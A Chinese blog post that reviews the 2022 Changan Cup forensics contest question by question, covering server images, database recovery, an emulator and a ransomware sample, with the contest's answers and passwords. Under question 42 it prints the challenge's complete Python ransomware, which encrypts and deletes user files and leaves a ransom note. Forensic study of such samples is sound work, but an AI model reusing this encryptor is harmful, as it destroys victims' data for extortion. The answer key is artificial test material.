2022长安杯个人赛复盘

阅读量: SUPER 2023-05-12 16:26:23
Categories: Tags:

我真是绷不住了刚写了一千字,关机就没了呜呜呜呜呜呜呜呜呜呜

容器挂载密码:2022.4th.changancup!

案件背景:

某地警方接到受害人报案称其在某虚拟币交易网站遭遇诈骗,该网站号称使用”USTD币“购买所谓的”HT币”,受害人充值后不但“HT币”无法提现、交易,而且手机还被恶意软件锁定勒索。警方根据受害人提供的虚拟币交易网站调取了对应的服务器镜像并对案件展开侦查。

检材一

1 检材1的SHA256值为

image-20230105093117452

9E48BB2CAE5C1D93BAF572E3646D2ECD26080B70413DC7DC4131F88289F49E34

2 分析检材1,搭建该服务器的技术员IP地址是多少?用该地址解压检材2

这算是一种方法:

image-20230105093309624

另一种方法是:

仿真出来

使用命令last查看

image-20230105093802186

172.16.80.100

3 检材1中,操作系统发行版本号为

一种方法:

image-20230105093859750

或者火眼仿真软件里回给出操作系统型号:

image-20230105093913944

7.5.1804

4 检材1系统中,网卡绑定的静态IP地址为

在仿真好的系统里使用命令ifconfig

查看静态IP地址:

image-20230105094538948

或者是直接在

证据软件里找:

image-20230105094747952

172.16.80.133

5 检材1中,网站jar包所存放的目录是

这个的话其实查看他的历史命令

就基本知道了

image-20230105095013959

jar包基本上都是在这

如果不放心可以由仿真系统找一下(为了方便操作可以ssh连接一下)

image-20230105095251466

/web/app/

对于ssh连接,我说实话,快把我搞崩溃了

浪费了太多时间了mad

但是当真连上的时候,快把我zei死辣哈哈哈

很开心

下面是连接的过程:

先将虚拟机关机

image-20230105104218538

选择自定义:特定虚拟网络

VMnet2(其实选哪个都行,后面都要编辑

image-20230105104312308

image-20230105104903446

重要的是将子网ip配置成虚拟机的网络地址,其他的就不用管了,VMware会自己补全

找检材虚拟机的网络地址是仿真,或者按照之前几道题的操作,便可以找到。

这是我的操作过程,有可能有更简便的方法

我不知道呜呜呜呜,这算是经过几天的模索,找出的方法。毕竟我也是看别人复盘做的,当我看到

image-20230105105820539

这句话的时候,我就已经绷不住了,我是真不会啊,无所谓,人的主观能动性是强大的,嘿嘿嘿,解决了就没问题了。

6 检材1中,监听7000端口的进程对应文件名为

这个说是需要去下载jar包,解压然后翻代码

image-20230105113751678

image-20230105114033773

cloud.jar

或者是将检材二中网站的运行文件复制到检材一中,才能实现相关功能,想要不需要检材二中的运行文件直接成功搭建网站,难度是非常大的哈哈哈,比赛的时候,伟哥弄了四个小时,哈哈哈崩溃了

具体操作流程:

打开检材二,找到D盘

image-20230105220708739

早知道好好翻翻,哈哈哈,没办法时间实在是太紧了

把start_web.sh复制一下,上传到finalshell上,需要注意放在/web/app下

image-20230105221514012

命令

都是从检材一历史命令里面找到的

image-20230105221447462

image-20230105221540717

这样应该算是成功了

回到检材二的仿真系统中

访问搭建的网站

嘿嘿嘿

进去了

image-20230105221759037

开香槟

7 检材1中,网站管理后台页面对应的网络端口为

不易找:

把网站开启了,直接通过历史记录查找后台管理进去后

image-20230105222200244

在网址一栏能够看到9090端口

9090

8 检材1中,网站前台页面里给出的APK的下载地址是

一个样开启了网站说话都硬气

image-20230105222342463

https://pan.forensix.cn/f/c45ca511c7f2469090ad/?dl=1

9 检材1中,网站管理后台页面调用的用户表(admin)里的密码字段加密方式为?

多的不讲好吧,根本不会做,看着大佬的wp都不想复现

md5

10 分析检材1,网站管理后台登录密码加密算法中所使用的盐值是

image-20230105224033079

XehGyeyrVgOV4P8Uf70REVpIw3iVNwNs

检材二:

根据IP地址落地及后续侦查,抓获了搭建网站的技术员,扣押了其个人电脑并制作镜像“检材2”,分析所有掌握的检材回答下列问题

有一说一,检材一有很多题是需要检材二里面的信息去解锁的,所以由此可见对于全部检材的了解非常重要。

11 检材2中,windows账户Web King的登录密码是

一种是直接通过软件查找:

image-20230105154947114

另一种就是仿真出来

image-20230105155055531

这就知道了,不用找,相较来说比较简单。

135790

12 检材2中,除检材1以外,还远程连接过哪个IP地址?并用该地址解压检材3

第一种方法:

关键词是远程连接

找ssh呗,找到了,然后代到检材三试试能不能解压。

image-20230105155327931

第二种方法:

仿真出来

image-20230105160750911

172.16.80.128

13 检材2中,powershell中输入的最后一条命令是

仿真后打开powershell,方向键向上

image-20230105162635809

或者找路径

检材2.E01/分区6/Users/Web King/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt

找powershell历史命令文件

(我说实话我也不知道在哪,我反正记不住,可以找到大概位置直接搜powershell嘿嘿嘿,都能搜出来

image-20230105163601605

ipconfig

14 检材2中,下载的涉案网站源代码文件名为

涉案网站就是这个

结合一下网站名称和下载文件得出

同样也可以从仿真出来的系统中找到

image-20230105165655140

很难不赞同

image-20230105164423834

ZTuoExchange_framework-master.zip

15 检材2中,网站管理后台root账号的密码为

其实这个猜一下root平常的密码就是root哈哈哈

但是取证要讲究正确,不会冤枉任何一个好人(任何邪恶终将绳之以法

image-20230105170148042

直接在保存的密码中就找到了(哈哈哈,出题人还是蛮银杏化的

仿真没找到,应该是水平不够,无所谓,一个找出来就不错了,还要啥自行车啊

root

16 检材2中,技术员使用的WSL子系统发行版本是

这个好像有坑,我记得我没做对

注意题干 技术员

仔细找找

方法一:在powershell里,wsl -l -v查看安装在 Windows 计算机上的 Linux 发行版列表

image-20230105204833766

方法二:image-20230105204744763

//方法三:也可以直接找到保存子系统的根目录,Windows 下的 wsl 子系统默认统一保存在目录\Users

[user]\AppData\Local\Packages`。可以看到两个文件夹的大小和文件数量完全不在一个数量级,使用的哪个子系统可想而知//

(这个方法我没找到

20.04

17 检材2中,运行的数据库服务版本号是

image-20230105210022121

mysql文件里的表信息就会有

8.0.30

18 上述数据库debian-sys-maint用户的初始密码是

image-20230105210651464

百度一下

image-20230105210828355

image-20230105211753710

ZdQfi7vaXjHZs75M

19 检材3服务器root账号的密码是

image-20230105211917107

h123456

检材3:

根据网站前端和技术员个人电脑上的线索,发现了网站后端所在的服务器IP并再次调证取得“检材3”,分析所有掌握的检材回答下列问题

20 检材3中,监听33050端口的程序名(program name)为

image-20230105230613255

docker-proxy

21 除MySQL外,该网站还依赖以下哪种数据库

image-20230105230725225

redis.mongo

22 检材3中,MySQL数据库root账号的密码是

还是在application.properties这个文件里的

image-20230105231023531

shhl7001

23 检材3中,MySQL数据库在容器内部的数据目录为

使用history命令可以查看到

历史命令

发现频繁进入/data/mysql中

还有命令 cat docker-compose.yml

image-20230106090923641

image-20230106090142585

/var/lib/mysql

24 涉案网站调用的MySQL数据库名为

image-20230106092026527

格式:子协议://服务器名或IP地址:端口号/数据库名?参数=参数值

b1

25 勒索者在数据库中修改了多少个用户的手机号?

image-20230106143032148

出现了关键词update mobile_phone

3

26 勒索者在数据库中删除的用户数量为

在操作日志里,我也不知道这是。

image-20230106142556488

image-20230106142619975

28

27 还原被破坏的数据库,分析除技术员以外,还有哪个IP地址登录过管理后台网站?用该地址解压检材4

将检材2中的完整数据库b1上传到mysql的数据库中

image-20230106103807444

之后在重启一下docker服务

systemctl restart docker

image-20230106103856811

然后再用navicat连上

结合之前几题的答案

ip地址172.16.80.128

docker端口为:33050

用户名:root

密码:shhl7001

image-20230106104247529

image-20230106104324016

连接成功

image-20230106104549357

在管理者登录日志中找到

172.16.80.197

28 还原全部被删改数据,用户id为500的注册会员的HT币钱包地址为

在恢复后的数据库中可以找到

member_wallet这个表

image-20230106105044162

cee631121c2ec9232f3a2f028ad5c89b

29 还原全部被删改数据,共有多少名用户的会员等级为’LV3’

164

30 还原全部被删改数据,哪些用户ID没有充值记录

image-20230106143841605

318.989

31 还原全部被删改数据,2022年10月17日总计产生多少笔交易记录?

image-20230106144633762

第二页就是10月18号的了

1000

32 还原全部被删改数据,该网站中充值的USDT总额为

image-20230106145333021

导出数据后求和

408228

检材四

检材4.根据前期侦查分析,通过技术手段找到了幕后老板,并对其使用的安卓模拟器“检材4”进行了固定。分析所有掌握的检材,回答下列问题

33 嫌疑人使用的安卓模拟器软件名称是

image-20230107132454098

image-20230107132558838

夜神.nox

34 检材4中,“老板”的阿里云账号是

image-20230107142042131

forensixtech1

35 检材4中安装的VPN工具的软件名称是

image-20230107135119448

v2Ray

36 上述VPN工具中记录的节点IP是

image-20230107135139153

38.68.135.18

37 检材4中,录屏软件安装时间为

image-20230107144828633

2022/10/19 10:50:27

38 上述录屏软件中名为“s_20221019105129”的录像,在模拟器存储中对应的原始文件名为

image-20230107145338092

image-20230107145324595

0c2f5dd4a9bc6f34873fb3c0ee9b762b98e8c46626410be7191b11710117a12d39

39上述录屏软件登录的手机号是

image-20230107150017561

18645091802

40 检材4中,发送勒索邮件的邮箱地址为

image-20230107150108778

skterran@163.com

分析所有掌握的检材,找到勒索邮件中被加密的文档和对应的加/解密程序,并回答下列问题

41 分析加密程序,编译该加密程序使用的语言是

在检材2中的D盘中,就能发现加密程序和解密文件,图标一看就是python的

image-20230106151409271

python

42 分析加密程序,它会加密哪些扩展名的文件?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import timefrom Crypto.PublicKey import RSAfrom Crypto.Cipher import PKCS1_v1_5 as Cipher_pkcs1_v1_5import os
pubkey = '-----BEGIN PUBLIC KEY-----\nMIIBIzANBgkqhkiG9w0BAQEFAAOCARAAMIIBCwKCAQEAx5JF4elVDBaakgGeDSxI\nCO1LyyZ6B2TgR4DNYiQoB1zAyWPDwektaCfnvNeHURBrw++HvbuNMoQNdOJNZZVo\nbHVZh+rCI4MwAh+EBFUeT8Dzja4ZlU9E7jufm69TQS0PSseIiU/4Byd2i9BvIbRn\nHLFZvi/VXphGeW0qVeHkQ3Ll6hJ2fUGhTsuGLc1XXHfiZ4RbJY/AMnjYPy9CaYzi\nSOT4PCf/O12Kuu9ZklsIAihRPl10SmM4IRnVhZYYpXedAyTcYCuUiI4c37F5GAhz\nRDFn9IQ6YQRjlLjuOX8WB6H4NbnKX/kd0GsQP3Zbogazj/z7OM0Y3rv3T8mtF6/I\nkwIEHoau+w==\n-----END PUBLIC KEY-----\n'msg = "SOMETHING WENT WRONG,PLEASE CONTACT YOUR SYSTEM ADMINISTRATOR!\nHe can help you to understand whats happened.\nIf he can't help you,contact us via email:\naa1028@forensix.cn\nale@forensix.cn\nHURRY UP!WE HAVE ANTIDOTE FOR YOUR FILES!DISCOUNT 20%FOR CLIENTS,WHO CONTACT US IN THE SAME DAY!\nYou can attach 2 files (text or picture)to check our honest intentions,we will heal them and send\nback.\nPlease pay 0.618 ETH\nThe wallet address:0xef9edf6cdacb7d925aee0f9bd607b544c5758850\n************************************\n"class XORCBC:

def __init__(self, key: bytes):
self.key = bytearray(key)
self.cur = 0

def encrypt(self, data: bytes) -> bytes:
data = bytearray(data)
for i in range(len(data)):
tmp = data[i]
data[i] ^= self.key[self.cur]
self.key[self.cur] = tmp
self.cur = (self.cur + 1) % len(self.key)

return bytes(data)print('加密程序V1.0')print('文件正在加密中~~~~~~~~~~~~~~~~~~\n')def run_finall():
for filepath, dirnames, filenames in os.walk(os.getcwd()):
for filename in filenames:
if filename != 'encrypt_file.py' and filename != 'decrypt_file.py' and '_encrypted' not in filename:
ExtensionPath = os.path.splitext(filename)[(-1)]
if '.txt' == ExtensionPath or '.jpg' == ExtensionPath or '.xls' == ExtensionPath or '.docx' == ExtensionPath:
time.sleep(3)
data_file = os.path.join(filepath, filename)
rsakey = RSA.import_key(pubkey)
cipher = Cipher_pkcs1_v1_5.new(rsakey)
xor_key = os.urandom(16)
xor_obj = XORCBC(xor_key)
outf = open(data_file + '_encrypted', 'wb')
encrypted_xor_key = cipher.encrypt(xor_key)
outf.write(encrypted_xor_key)
buffer_size = 4096
with open(data_file, 'rb') as (f):
while True:
data = f.read(buffer_size)
if not data:
break
outf.write(xor_obj.encrypt(data))

outf.close()
os.remove(data_file)run_finall()def redme():
try:
dir = os.path.join(os.path.expanduser('~'), 'Desktop')
print(dir)
with open(dir + '/!READ_ME.txt', 'w') as (ff):
ff.write(msg)
except:
dir1 = os.getcwd()
print(dir1)
with open(dir1 + '/!READ_ME.txt', 'w') as (ff):
ff.write(msg)print('\n加密完成~~~~~~~~~~~~~~~~~~')os.system('pause')

txt.jpg.docx.xls

43 分析加密程序,是通过什么算法对文件进行加密的?

image-20230107151243377

异或

44 分析加密程序,其使用的非对称加密方式公钥后5位为?

pubkey = ‘—–BEGIN PUBLIC KEY—–\nMIIBIzANBgkqhkiG9w0BAQEFAAOCARAAMIIBCwKCAQEAx5JF4elVDBaakgGeDSxI\nCO1LyyZ6B2TgR4DNYiQoB1zAyWPDwektaCfnvNeHURBrw++HvbuNMoQNdOJNZZVo\nbHVZh+rCI4MwAh+EBFUeT8Dzja4ZlU9E7jufm69TQS0PSseIiU/4Byd2i9BvIbRn\nHLFZvi/VXphGeW0qVeHkQ3Ll6hJ2fUGhTsuGLc1XXHfiZ4RbJY/AMnjYPy9CaYzi\nSOT4PCf/O12Kuu9ZklsIAihRPl10SmM4IRnVhZYYpXedAyTcYCuUiI4c37F5GAhz\nRDFn9IQ6YQRjlLjuOX8WB6H4NbnKX/kd0GsQP3Zbogazj/z7OM0Y3rv3T8mtF6/I\nkwIEHoau+w==\n—–END PUBLIC KEY—–\n’

u+w==

45 被加密文档中,FLAG1的值是

image-20230107151413276

image-20230107151421978

image-20230107151447454

TREFWGFS

分析所有掌握的检材,找到报案人描述的加密勒索apk程序,分析并回答下列问题

46 恶意APK程序的包名为

image-20230108123124053

cn.forensix.changancup

47 APK调用的权限包括

image-20230108123159429

READ_EXTERNAL_STORAGE;WRITE_EXTERNAL_STORAGE;

48 解锁第一关所使用的FLAG2值为

MATSFRKG

49 解锁第二关所使用的FLAG3值为

TDQ2UWP9

50 解锁第三关所需的KEY值由ASCII可显示字符组成,请请分析获取该KEY值

a_asd./1imc2)dd1234]_+=+

这几道题摆了,不会,不想学,不想做。

总结

经过几天的复盘,的确发现了自己很多方面存在不足,实话说自己真是啥都不会。2022年长安杯赛题相较于前几年的题有较大的跨度,难度也有了一定的提升,在最后的几道题里也加入了ctf相关的赛题。对个人能力有了相应地挑战。不过经过了这几天的复盘,自己的取证相关的知识也有了相应地提升,取证涉及到的技术太多了,需要我去学习的东西也太多了,所以现在才刚刚起步,多多益善,百炼成钢。